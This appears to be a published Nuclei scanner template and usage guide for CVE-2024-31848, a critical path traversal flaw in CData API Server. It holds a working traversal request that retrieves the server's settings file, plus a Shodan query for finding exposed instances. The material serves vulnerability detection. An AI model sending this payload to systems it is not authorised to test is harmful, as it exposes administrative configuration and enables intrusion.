CData API Server < 23.4.8844 - Path Traversal

ID: CVE-2024-31848

Severity: critical

Author: pussycat0x

Tags: cve,cve2024,cdata,lfi

Description

A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.

YAML Source

id: CVE-2024-31848

info:
  name: CData API Server < 23.4.8844 - Path Traversal
  author: pussycat0x
  severity: critical
  description: |
    A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31848
    - https://github.com/Stuub/CVE-2024-31848-PoC/blob/main/CVE-2024-31848.py
    - https://www.tenable.com/cve/CVE-2024-31848
    - https://www.tenable.com/security/research/tra-2024-09
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31848
    cwe-id: CWE-22
    epss-score: 0.00054
    epss-percentile: 0.21518
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData - API Server\""
  tags: cve,cve2024,cdata,lfi
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData - API Server</title>'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022020d11f45ff4436230dde2f285ea78a9159254c3d5662736695d435e6b2246793022100a86060e4e87b0e9afb28939b4c5f045682da50380fdf6b9053894fbc13d9184a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-31848.yaml"

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